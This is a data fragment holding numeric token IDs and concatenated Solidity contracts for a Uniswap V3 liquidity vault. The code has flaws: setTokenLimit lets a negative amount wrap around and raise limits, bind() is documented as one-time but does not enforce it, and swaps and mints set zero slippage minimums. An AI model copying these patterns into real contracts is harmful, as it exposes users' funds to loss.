273,
1758,
12,
4848,
28,
1769,
203,
225,
1758,
1071,
5381,
423,
62,
40,
273,
1758,
12,
2539,
24,
1769,
203,
225,
1758,
1071,
5381,
348,
27338,
273,
1758,
12,
27,
3103,
1769,
203,
225,
1758,
1071,
5381,
423,
8318,
273,
1758,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "../interfaces/IVault.sol";
import "../libraries/ERC20Extends.sol";
import "../libraries/UniV3PMExtends.sol";
import "../storage/SmartPoolStorage.sol";
import "./UniV3Liquidity.sol";
pragma abicoder v2;
/// @title Position Management
/// @notice Provide asset operation functions, allow authorized identities to perform asset operations, and achieve the purpose of increasing the net value of the Vault
contract AutoLiquidity is UniV3Liquidity {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableSet for EnumerableSet.AddressSet;
using UniV3SwapExtends for mapping(address => mapping(address => bytes));
//Vault purchase and redemption token
IERC20 public ioToken;
//Vault contract address
IVault public vault;
//Underlying asset
EnumerableSet.AddressSet internal underlyings;
event TakeFee(SmartPoolStorage.FeeType ft, address owner, uint256 fee);
/// @notice Binding vaults and subscription redemption token
/// @dev Only bind once and cannot be modified
/// @param _vault Vault address
/// @param _ioToken Subscription and redemption token
function bind(address _vault, address _ioToken) external onlyGovernance {
vault = IVault(_vault);
ioToken = IERC20(_ioToken);
}
//Only allow vault contract access
modifier onlyVault() {
require(extAuthorize(), "!vault");
_;
}
/// @notice ext authorize
function extAuthorize() internal override view returns (bool){
return msg.sender == address(vault);
}
/// @notice in work tokenId array
/// @dev read in works NFT array
/// @return tokenIds NFT array
function worksPos() public view returns (uint256[] memory tokenIds){
uint256 length = works.length();
tokenIds = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
tokenIds[i] = works.at(i);
}
}
/// @notice in underlyings token address array
/// @dev read in underlyings token address array
/// @return tokens address array
function getUnderlyings() public view returns (address[] memory tokens){
uint256 length = underlyings.length();
tokens = new address[](length);
for (uint256 i = 0; i < underlyings.length(); i++) {
tokens[i] = underlyings.at(i);
}
}
/// @notice Set the underlying asset token address
/// @dev Only allow the governance identity to set the underlying asset token address
/// @param ts The underlying asset token address array to be added
function setUnderlyings(address[] memory ts) public onlyGovernance {
for (uint256 i = 0; i < ts.length; i++) {
if (!underlyings.contains(ts[i])) {
underlyings.add(ts[i]);
}
}
}
/// @notice Delete the underlying asset token address
/// @dev Only allow the governance identity to delete the underlying asset token address
/// @param ts The underlying asset token address array to be deleted
function removeUnderlyings(address[] memory ts) public onlyGovernance {
for (uint256 i = 0; i < ts.length; i++) {
if (underlyings.contains(ts[i])) {
underlyings.remove(ts[i]);
}
}
}
/// @notice swap after handle
/// @param tokenOut token address
/// @param amountOut token amount
function swapAfter(
address tokenOut,
uint256 amountOut) internal override {
uint256 fee = vault.calcRatioFee(SmartPoolStorage.FeeType.TURNOVER_FEE, amountOut);
if (tokenOut != address(ioToken) && fee > 0) {
fee = swapRoute.exactInput(tokenOut, address(ioToken), fee, address(this), 0);
}
if (fee > 0) {
address rewards=getRewards();
ioToken.safeTransfer(rewards, fee);
emit TakeFee(SmartPoolStorage.FeeType.TURNOVER_FEE, rewards, fee);
}
}
/// @notice collect after handle
/// @param token0 token address
/// @param token1 token address
/// @param amount0 token amount
/// @param amount1 token amount
function collectAfter(
address token0,
address token1,
uint256 amount0,
uint256 amount1) internal override {
uint256 fee0 = vault.calcRatioFee(SmartPoolStorage.FeeType.TURNOVER_FEE, amount0);
uint256 fee1 = vault.calcRatioFee(SmartPoolStorage.FeeType.TURNOVER_FEE, amount1);
if (token0 != address(ioToken) && fee0 > 0) {
fee0 = swapRoute.exactInput(token0, address(ioToken), fee0, address(this), 0);
}
if (token1 != address(ioToken) && fee1 > 0) {
fee1 = swapRoute.exactInput(token1, address(ioToken), fee1, address(this), 0);
}
uint256 fee = fee0.add(fee1);
if (fee > 0) {
address rewards=getRewards();
ioToken.safeTransfer(rewards, fee);
emit TakeFee(SmartPoolStorage.FeeType.TURNOVER_FEE, rewards, fee);
}
}
/// @notice Asset transfer used to upgrade the contract
/// @param to address
function withdrawAll(address to) external onlyGovernance {
for (uint256 i = 0; i < underlyings.length(); i++) {
IERC20 token = IERC20(underlyings.at(i));
uint256 balance = token.balanceOf(address(this));
if (balance > 0) {
token.safeTransfer(to, balance);
}
}
}
/// @notice Withdraw asset
/// @dev Only vault contract can withdraw asset
/// @param to Withdraw address
/// @param amount Withdraw amount
/// @param scale Withdraw percentage
function withdraw(address to, uint256 amount, uint256 scale) external onlyVault {
uint256 surplusAmount = ioToken.balanceOf(address(this));
if (surplusAmount < amount) {
_decreaseLiquidityByScale(scale);
for (uint256 i = 0; i < underlyings.length(); i++) {
address token = underlyings.at(i);
uint256 balance = IERC20(token).balanceOf(address(this));
if (token != address(ioToken) && balance > 0) {
exactInput(token, address(ioToken), balance, 0);
}
}
}
surplusAmount = ioToken.balanceOf(address(this));
if (surplusAmount < amount) {
amount = surplusAmount;
}
ioToken.safeTransfer(to, amount);
}
/// @notice Withdraw underlying asset
/// @dev Only vault contract can withdraw underlying asset
/// @param to Withdraw address
/// @param scale Withdraw percentage
function withdrawOfUnderlying(address to, uint256 scale) external onlyVault {
uint256 length = underlyings.length();
uint256[] memory balances = new uint256[](length);
uint256[] memory withdrawAmounts = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
address token = underlyings.at(i);
uint256 balance = IERC20(token).balanceOf(address(this));
balances[i] = balance;
withdrawAmounts[i] = balance.mul(scale).div(1e18);
}
_decreaseLiquidityByScale(scale);
for (uint256 i = 0; i < length; i++) {
address token = underlyings.at(i);
uint256 balance = IERC20(token).balanceOf(address(this));
uint256 decreaseAmount = balance.sub(balances[i]);
uint256 addAmount = decreaseAmount.mul(scale).div(1e18);
uint256 transferAmount = withdrawAmounts[i].add(addAmount);
IERC20(token).safeTransfer(to, transferAmount);
}
}
/// @notice Decrease liquidity by scale
/// @dev Decrease liquidity by provided scale
/// @param scale Scale of the liquidity
function _decreaseLiquidityByScale(uint256 scale) internal {
uint256 length = works.length();
for (uint256 i = 0; i < length; i++) {
uint256 tokenId = works.at(i);
(
,
,
,
,
,
,
,
uint128 liquidity,
,
,
,
) = UniV3PMExtends.PM.positions(tokenId);
if (liquidity > 0) {
uint256 _decreaseLiquidity = uint256(liquidity).mul(scale).div(1e18);
(uint256 amount0, uint256 amount1) = decreaseLiquidity(tokenId, uint128(_decreaseLiquidity), 0, 0);
collect(tokenId, uint128(amount0), uint128(amount1));
}
}
}
/// @notice Total asset
/// @dev This function calculates the net worth or AUM
/// @return Total asset
function assets() public view returns (uint256){
uint256 total = idleAssets();
total = total.add(liquidityAssets());
return total;
}
/// @notice idle asset
/// @dev This function calculates idle asset
/// @return idle asset
function idleAssets() public view returns (uint256){
uint256 total;
for (uint256 i = 0; i < underlyings.length(); i++) {
address token = underlyings.at(i);
uint256 balance = IERC20(token).balanceOf(address(this));
if (token == address(ioToken)) {
total = total.add(balance);
} else {
uint256 _estimateAmountOut = estimateAmountOut(token, address(ioToken), balance);
total = total.add(_estimateAmountOut);
}
}
return total;
}
/// @notice at work liquidity asset
/// @dev This function calculates liquidity asset
/// @return liquidity asset
function liquidityAssets() public view returns (uint256){
uint256 total;
address ioTokenAddr = address(ioToken);
uint256 length = works.length();
for (uint256 i = 0; i < length; i++) {
uint256 tokenId = works.at(i);
total = total.add(calcLiquidityAssets(tokenId, ioTokenAddr));
}
return total;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "../base/GovIdentity.sol";
import "../interfaces/uniswap-v3/Path.sol";
import "../libraries/ERC20Extends.sol";
import "../libraries/UniV3SwapExtends.sol";
import "../libraries/UniV3PMExtends.sol";
pragma abicoder v2;
/// @title Position Management
/// @notice Provide asset operation functions, allow authorized identities to perform asset operations, and achieve the purpose of increasing the net value of the fund
contract UniV3Liquidity is GovIdentity {
using SafeMath for uint256;
using Path for bytes;
using EnumerableSet for EnumerableSet.UintSet;
using UniV3SwapExtends for mapping(address => mapping(address => bytes));
//Swap route
mapping(address => mapping(address => bytes)) public swapRoute;
//Position list
mapping(bytes32 => uint256) public history;
//position mapping owner
mapping(uint256 => address) public positionOwners;
//available token limit
mapping(address => mapping(address => uint256)) public tokenLimit;
//Working positions
EnumerableSet.UintSet internal works;
//Swap
event Swap(address sender, address fromToken, address toToken, uint256 amountIn, uint256 amountOut);
//Create positoin
event Mint(address sender, uint256 tokenId, uint128 liquidity);
//Increase liquidity
event IncreaseLiquidity(address sender, uint256 tokenId, uint128 liquidity);
//Decrease liquidity
event DecreaseLiquidity(address sender, uint256 tokenId, uint128 liquidity);
//Collect asset
event Collect(address sender, uint256 tokenId, uint256 amount0, uint256 amount1);
//Only allow governance, strategy, ext authorize
modifier onlyAssetsManager() {
require(
msg.sender == getGovernance()
|| isAdmin(msg.sender)
|| isStrategist(msg.sender)
|| extAuthorize(), "!AM");
_;
}
//Only position owner
modifier onlyPositionManager(uint256 tokenId) {
require(
msg.sender == getGovernance()
|| isAdmin(msg.sender)
|| positionOwners[tokenId] == msg.sender
|| extAuthorize(), "!PM");
_;
}
/// @notice extend authorize
function extAuthorize() internal virtual view returns (bool){
return false;
}
/// @notice swap after handle
function swapAfter(
address,
uint256) internal virtual {
}
/// @notice collect after handle
function collectAfter(
address,
address,
uint256,
uint256) internal virtual {
}
/// @notice Check current position
/// @dev Check the current UniV3 position by pool token ID.
/// @param pool liquidity pool
/// @param tickLower Tick lower bound
/// @param tickUpper Tick upper bound
/// @return atWork Position status
/// @return has Check if the position ID exist
/// @return tokenId Position ID
function checkPos(
address pool,
int24 tickLower,
int24 tickUpper
) public view returns (bool atWork, bool has, uint256 tokenId){
bytes32 pk = UniV3PMExtends.positionKey(pool, tickLower, tickUpper);
tokenId = history[pk];
atWork = works.contains(tokenId);
has = tokenId > 0 ? true : false;
}
/// @notice Update strategist's available token limit
/// @param strategist strategist's
/// @param token token address
/// @param amount limit amount
function setTokenLimit(address strategist, address token, int256 amount) public onlyAdminOrGovernance {
if (amount > 0) {
tokenLimit[strategist][token] += uint256(amount);
} else {
tokenLimit[strategist][token] -= uint256(amount);
}
}
/// @notice Authorize UniV3 contract to move vault asset
/// @dev Only allow governance and admin identities to execute authorized functions to reduce miner fee consumption
/// @param token Authorized target token
function safeApproveAll(address token) public virtual onlyAdminOrGovernance {
ERC20Extends.safeApprove(token, address(UniV3PMExtends.PM), type(uint256).max);
ERC20Extends.safeApprove(token, address(UniV3SwapExtends.SRT), type(uint256).max);
}
/// @notice Multiple functions of the contract can be executed at the same time
/// @dev Only the assets manager identities are allowed to execute multiple function calls,
/// and the execution of multiple functions can ensure the consistency of the execution results
/// @param data Encode data of multiple execution functions
/// @return results Execution result
function multicall(bytes[] calldata data) external onlyAssetsManager returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
/// @notice Set asset swap route
/// @dev Only the governance and admin identity is allowed to set the asset swap path, and the firstToken and lastToken contained in the path will be used as the underlying asset token address by default
/// @param path Swap path byte code
function settingSwapRoute(bytes memory path) external onlyAdminOrGovernance {
require(path.valid(), 'path is not valid');
address fromToken = path.getFirstAddress();
address toToken = path.getLastAddress();
swapRoute[fromToken][toToken] = path;
}
/// @notice Estimated to obtain the target token amount
/// @dev Only allow the asset transaction path that has been set to be estimated
/// @param from Source token address
/// @param to Target token address
/// @param amountIn Source token amount
/// @return amountOut Target token amount
function estimateAmountOut(
address from,
address to,
uint256 amountIn
) public view returns (uint256 amountOut){
return swapRoute.estimateAmountOut(from, to, amountIn);
}
/// @notice Estimate the amount of source tokens that need to be provided
/// @dev Only allow the governance identity to set the underlying asset token address
/// @param from Source token address
/// @param to Target token address
/// @param amountOut Expect to get the target token amount
/// @return amountIn Source token amount
function estimateAmountIn(
address from,
address to,
uint256 amountOut
) public view returns (uint256 amountIn){
return swapRoute.estimateAmountIn(from, to, amountOut);
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @dev Initiate a transaction with a known input amount and return the output amount
/// @param tokenIn Token in address
/// @param tokenOut Token out address
/// @param amountIn Token in amount
/// @param amountOutMinimum Expected to get minimum token out amount
/// @return amountOut Token out amount
function exactInput(
address tokenIn,
address tokenOut,
uint256 amountIn,
uint256 amountOutMinimum
) public onlyAssetsManager returns (uint256 amountOut) {
bool _isStrategist = isStrategist(msg.sender);
if (_isStrategist) {
require(tokenLimit[msg.sender][tokenIn] >= amountIn, '!check limit');
}
amountOut = swapRoute.exactInput(tokenIn, tokenOut, amountIn, address(this), amountOutMinimum);
if (_isStrategist) {
tokenLimit[msg.sender][tokenIn] -= amountIn;
tokenLimit[msg.sender][tokenOut] += amountOut;
}
swapAfter(tokenOut, amountOut);
emit Swap(msg.sender, tokenIn, tokenOut, amountIn, amountOut);
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// @dev Initiate a transaction with a known output amount and return the input amount
/// @param tokenIn Token in address
/// @param tokenOut Token out address
/// @param amountOut Token out amount
/// @param amountInMaximum Expect to input the maximum amount of tokens
/// @return amountIn Token in amount
function exactOutput(
address tokenIn,
address tokenOut,
uint256 amountOut,
uint256 amountInMaximum
) public onlyAssetsManager returns (uint256 amountIn) {
amountIn = swapRoute.exactOutput(tokenIn, tokenOut, address(this), amountOut, amountInMaximum);
if (isStrategist(msg.sender)) {
require(tokenLimit[msg.sender][tokenIn] >= amountIn, '!check limit');
tokenLimit[msg.sender][tokenIn] -= amountIn;
tokenLimit[msg.sender][tokenOut] += amountOut;
}
swapAfter(tokenOut, amountOut);
emit Swap(msg.sender, tokenIn, tokenOut, amountIn, amountOut);
}
/// @notice Create position
/// @dev Repeated creation of the same position will cause an error, you need to change tickLower Or tickUpper
/// @param token0 Liquidity pool token 0 contract address
/// @param token1 Liquidity pool token 1 contract address
/// @param fee Target liquidity pool rate
/// @param tickLower Expect to place the lower price boundary of the target liquidity pool
/// @param tickUpper Expect to place the upper price boundary of the target liquidity pool
/// @param amount0Desired Desired token 0 amount
/// @param amount1Desired Desired token 1 amount
function mint(
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint256 amount0Desired,
uint256 amount1Desired
) public onlyAssetsManager
{
bool _isStrategist = isStrategist(msg.sender);
if (_isStrategist) {
require(tokenLimit[msg.sender][token0] >= amount0Desired, '!check limit');
require(tokenLimit[msg.sender][token1] >= amount1Desired, '!check limit');
}
(
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
) = UniV3PMExtends.PM.mint(INonfungiblePositionManager.MintParams({
token0 : token0,
token1 : token1,
fee : fee,
tickLower : tickLower,
tickUpper : tickUpper,
amount0Desired : amount0Desired,
amount1Desired : amount1Desired,
amount0Min : 0,
amount1Min : 0,
recipient : address(this),
deadline : block.timestamp
}));
if (_isStrategist) {
tokenLimit[msg.sender][token0] -= amount0;
tokenLimit[msg.sender][token1] -= amount1;
}
address pool = UniV3PMExtends.getPool(tokenId);
bytes32 pk = UniV3PMExtends.positionKey(pool, tickLower, tickUpper);
history[pk] = tokenId;
positionOwners[tokenId] = msg.sender;
works.add(tokenId);
emit Mint(msg.sender, tokenId, liquidity);
}
/// @notice Increase liquidity
/// @dev Use checkPos to check the position ID
/// @param tokenId Position ID
/// @param amount0 Desired Desired token 0 amount
/// @param amount1 Desired Desired token 1 amount
/// @param amount0Min Minimum token 0 amount
/// @param amount1Min Minimum token 1 amount
/// @return liquidity The amount of liquidity
/// @return amount0 Actual token 0 amount being added
/// @return amount1 Actual token 1 amount being added
function increaseLiquidity(
uint256 tokenId,
uint256 amount0Desired,
uint256 amount1Desired,
uint256 amount0Min,
uint256 amount1Min
) public onlyPositionManager(tokenId) returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1
){
(
,
,
address token0,
address token1,
,
,
,
,
,
,
,
) = UniV3PMExtends.PM.positions(tokenId);
address po = positionOwners[tokenId];
if (isStrategist(po)) {
require(tokenLimit[po][token0] >= amount0Desired, '!check limit');
require(tokenLimit[po][token1] >= amount1Desired, '!check limit');
}
(liquidity, amount0, amount1) = UniV3PMExtends.PM.increaseLiquidity(INonfungiblePositionManager.IncreaseLiquidityParams({
tokenId : tokenId,
amount0Desired : amount0Desired,
amount1Desired : amount1Desired,
amount0Min : amount0Min,
amount1Min : amount1Min,
deadline : block.timestamp
}));
if (isStrategist(po)) {
tokenLimit[po][token0] -= amount0;
tokenLimit[po][token1] -= amount1;
}
if (!works.contains(tokenId)) {
works.add(tokenId);
}
emit IncreaseLiquidity(msg.sender, tokenId, liquidity);
}
/// @notice Decrease liquidity
/// @dev Use checkPos to query the position ID
/// @param tokenId Position ID
/// @param liquidity Expected reduction amount of liquidity
/// @param amount0Min Minimum amount of token 0 to be reduced
/// @param amount1Min Minimum amount of token 1 to be reduced
/// @return amount0 Actual amount of token 0 being reduced
/// @return amount1 Actual amount of token 1 being reduced
function decreaseLiquidity(
uint256 tokenId,
uint128 liquidity,
uint256 amount0Min,
uint256 amount1Min
) public onlyPositionManager(tokenId) returns (uint256 amount0, uint256 amount1){
(amount0, amount1) = UniV3PMExtends.PM.decreaseLiquidity(INonfungiblePositionManager.DecreaseLiquidityParams({
tokenId : tokenId,
liquidity : liquidity,
amount0Min : amount0Min,
amount1Min : amount1Min,
deadline : block.timestamp
}));
emit DecreaseLiquidity(msg.sender, tokenId, liquidity);
}
/// @notice Collect position asset
/// @dev Use checkPos to check the position ID
/// @param tokenId Position ID
/// @param amount0Max Maximum amount of token 0 to be collected
/// @param amount1Max Maximum amount of token 1 to be collected
/// @return amount0 Actual amount of token 0 being collected
/// @return amount1 Actual amount of token 1 being collected
function collect(
uint256 tokenId,
uint128 amount0Max,
uint128 amount1Max
) public onlyPositionManager(tokenId) returns (uint256 amount0, uint256 amount1){
(amount0, amount1) = UniV3PMExtends.PM.collect(INonfungiblePositionManager.CollectParams({
tokenId : tokenId,
recipient : address(this),
amount0Max : amount0Max,
amount1Max : amount1Max
}));
(
,
,
address token0,
address token1,
,
,
,
uint128 liquidity,
,
,
,
) = UniV3PMExtends.PM.positions(tokenId);
address po = positionOwners[tokenId];
if (isStrategist(po)) {
tokenLimit[po][token0] += amount0;
tokenLimit[po][token1] += amount1;
}
if (liquidity == 0) {
works.remove(tokenId);
}
collectAfter(token0, token1, amount0, amount1);
emit Collect(msg.sender, tokenId, amount0, amount1);
}
/// @notice calc tokenId asset
/// @dev This function calc tokenId asset
/// @return tokenId asset
function calcLiquidityAssets(uint256 tokenId, address toToken) internal view returns (uint256) {
(
,
,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
,
,
,
) = UniV3PMExtends.PM.positions(tokenId);
(uint256 amount0, uint256 amount1) = UniV3PMExtends.getAmountsForLiquidity(
token0, token1, fee, tickLower, tickUpper, liquidity);
(uint256 fee0, uint256 fee1) = UniV3PMExtends.getFeesForLiquidity(tokenId);
(amount0, amount1) = (amount0.add(fee0), amount1.add(fee1));
uint256 total;
if (token0 == toToken) {
total = amount0;
} else {
uint256 _estimateAmountOut = swapRoute.estimateAmountOut(token0, toToken, amount0);
total = _estimateAmountOut;
}
if (token1 == toToken) {
total = total.add(amount1);
} else {
uint256 _estimateAmountOut = swapRoute.estimateAmountOut(token1, toToken, amount1);
total = total.add(_estimateAmountOut);
}
return total;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
library SmartPoolStorage {
bytes32 public constant sSlot = keccak256("SmartPoolStorage.storage.location");
struct Storage {
mapping(FeeType => Fee) fees;
mapping(address => uint256) nets;
address token;
address am;
uint256 cap;
uint256 lup;
bool bind;
bool suspend;
bool allowJoin;
bool allowExit;
}
struct Fee {
uint256 ratio;
uint256 denominator;
uint256 lastTimestamp;
uint256 minLine;
}
enum FeeType{
JOIN_FEE, EXIT_FEE, MANAGEMENT_FEE, PERFORMANCE_FEE,TURNOVER_FEE
}
function load() internal pure returns (Storage storage s) {
bytes32 loc = sSlot;
assembly {
s.slot := loc
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "../interfaces/uniswap-v3/INonfungiblePositionManager.sol";
import "../interfaces/uniswap-v3/IUniswapV3Pool.sol";
import "../interfaces/uniswap-v3/TickMath.sol";
import "../interfaces/uniswap-v3/LiquidityAmounts.sol";
import "../interfaces/uniswap-v3/FixedPoint128.sol";
import "../interfaces/uniswap-v3/PoolAddress.sol";
/// @title UniV3 extends libraries
/// @notice libraries
library UniV3PMExtends {
//Nonfungible Position Manager
INonfungiblePositionManager constant internal PM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
/// @notice Position id
/// @dev Position ID
/// @param addr any address
/// @param tickLower Tick lower price bound
/// @param tickUpper Tick upper price bound
/// @return ABI encode
function positionKey(
address addr,
int24 tickLower,
int24 tickUpper
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(addr, tickLower, tickUpper));
}
/// @notice get pool by tokenId
/// @param tokenId position Id
function getPool(uint256 tokenId) internal view returns (address){
(
,
,
address token0,
address token1,
uint24 fee,
,
,
,
,
,
,
) = PM.positions(tokenId);
return PoolAddress.getPool(token0, token1, fee);
}
/// @notice Calculate the number of redeemable tokens based on the amount of liquidity
/// @dev Used when redeeming liquidity
/// @param token0 Token 0 address
/// @param token1 Token 1 address
/// @param fee Fee rate
/// @param tickLower Tick lower price bound
/// @param tickUpper Tick upper price bound
/// @param liquidity Liquidity amount
/// @return amount0 Token 0 amount
/// @return amount1 Token 1 amount
function getAmountsForLiquidity(
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint128 liquidity
) internal view returns (uint256 amount0, uint256 amount1) {
(uint160 sqrtPriceX96,,,,,,) = IUniswapV3Pool(PoolAddress.getPool(token0, token1, fee)).slot0();
uint160 sqrtRatioAX96 = TickMath.getSqrtRatioAtTick(tickLower);
uint160 sqrtRatioBX96 = TickMath.getSqrtRatioAtTick(tickUpper);
(amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity(
sqrtPriceX96,
sqrtRatioAX96,
sqrtRatioBX96,
liquidity
);
}
///@notice Calculate unreceived handling fees for liquid positions
/// @param tokenId Position ID
/// @return fee0 Token 0 fee amount
/// @return fee1 Token 1 fee amount
function getFeesForLiquidity(
uint256 tokenId
) internal view returns (uint256 fee0, uint256 fee1){
(
,
,
,
,
,
,
,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
) = PM.positions(tokenId);
(uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) = getFeeGrowthInside(tokenId);
fee0 = tokensOwed0 + FullMath.mulDiv(
feeGrowthInside0X128 - feeGrowthInside0LastX128,
liquidity,
FixedPoint128.Q128
);
fee1 = tokensOwed1 + FullMath.mulDiv(
feeGrowthInside1X128 - feeGrowthInside1LastX128,
liquidity,
FixedPoint128.Q128
);
}
/// @notice Retrieves fee growth data
function getFeeGrowthInside(
uint256 tokenId
) internal view returns (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) {
(
,
,
,
,
,
int24 tickLower,
int24 tickUpper,
,
,
,
,
) = PM.positions(tokenId);
IUniswapV3Pool pool = IUniswapV3Pool(getPool(tokenId));
(,int24 tickCurrent,,,,,) = pool.slot0();
uint256 feeGrowthGlobal0X128 = pool.feeGrowthGlobal0X128();
uint256 feeGrowthGlobal1X128 = pool.feeGrowthGlobal1X128();
(
,
,
uint256 lowerFeeGrowthOutside0X128,
uint256 lowerFeeGrowthOutside1X128,
,
,
,
) = pool.ticks(tickLower);
(
,
,
uint256 upperFeeGrowthOutside0X128,
uint256 upperFeeGrowthOutside1X128,
,
,
,
) = pool.ticks(tickUpper);
// calculate fee growth below
uint256 feeGrowthBelow0X128;
uint256 feeGrowthBelow1X128;
if (tickCurrent >= tickLower) {
feeGrowthBelow0X128 = lowerFeeGrowthOutside0X128;
feeGrowthBelow1X128 = lowerFeeGrowthOutside1X128;
} else {
feeGrowthBelow0X128 = feeGrowthGlobal0X128 - lowerFeeGrowthOutside0X128;
feeGrowthBelow1X128 = feeGrowthGlobal1X128 - lowerFeeGrowthOutside1X128;
}
// calculate fee growth above
uint256 feeGrowthAbove0X128;
uint256 feeGrowthAbove1X128;
if (tickCurrent < tickUpper) {
feeGrowthAbove0X128 = upperFeeGrowthOutside0X128;
feeGrowthAbove1X128 = upperFeeGrowthOutside1X128;
} else {
feeGrowthAbove0X128 = feeGrowthGlobal0X128 - upperFeeGrowthOutside0X128;
feeGrowthAbove1X128 = feeGrowthGlobal1X128 - upperFeeGrowthOutside1X128;
}
feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128;
feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
/// @title ERC20 extends libraries
/// @notice libraries
library ERC20Extends {
using SafeERC20 for IERC20;
/// @notice Safe approve
/// @dev Avoid errors that occur in some ERC20 token authorization restrictions
/// @param token Approval token address
/// @param to Approval address
/// @param amount Approval amount
function safeApprove(address token, address to, uint256 amount) internal {
IERC20 tokenErc20 = IERC20(token);
uint256 allowance = tokenErc20.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
tokenErc20.safeApprove(to, 0);
}
tokenErc20.safeApprove(to, amount);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "../storage/SmartPoolStorage.sol";
pragma abicoder v2;
/// @title Vault - the vault interface
/// @notice This contract extends ERC20, defines basic vault functions and rewrites ERC20 transferFrom function
interface IVault {
/// @notice Vault cap
/// @dev The max number of vault to be issued
/// @return Max vault cap
function getCap() external view returns (uint256);
/// @notice Get fee by type
/// @dev (0=JOIN_FEE,1=EXIT_FEE,2=MANAGEMENT_FEE,3=PERFORMANCE_FEE,4=TURNOVER_FEE)
/// @param ft Fee type
function getFee(SmartPoolStorage.FeeType ft) external view returns (SmartPoolStorage.Fee memory);
/// @notice Calculate the fee by ratio
/// @dev This is used to calculate join and redeem fee
/// @param ft Fee type
/// @param vaultAmount vault amount
function calcRatioFee(SmartPoolStorage.FeeType ft, uint256 vaultAmount) external view returns (uint256);
/// @notice The net worth of the vault from the time the last fee collected
/// @dev This is used to calculate the performance fee
/// @param account Account address
/// @return The net worth of the vault
function accountNetValue(address account) external view returns (uint256);
/// @notice The current vault net worth
/// @dev This is used to update and calculate account net worth
/// @return The net worth of the vault
function globalNetValue() external view returns (uint256);
/// @notice Convert vault amount to cash amount
/// @dev This converts the user vault amount to cash amount when a user redeems the vault
/// @param vaultAmount Redeem vault amount
/// @return Cash amount
function convertToCash(uint256 vaultAmount) external view returns (uint256);
/// @notice Convert cash amount to share amount
/// @dev This converts cash amount to share amount when a user buys the vault
/// @param cashAmount Join cash amount
/// @return share amount
function convertToShare(uint256 cashAmount) external view returns (uint256);
/// @notice Vault token address for joining and redeeming
/// @dev This is address is created when the vault is first created.
/// @return Vault token address
function ioToken() external view returns (address);
/// @notice Vault mangement contract address
/// @dev The vault management contract address is bind to the vault when the vault is created
/// @return Vault management contract address
function AM() external view returns (address);
/// @notice Vault total asset
/// @dev This calculates vault net worth or AUM
/// @return Vault total asset
function assets()external view returns(uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
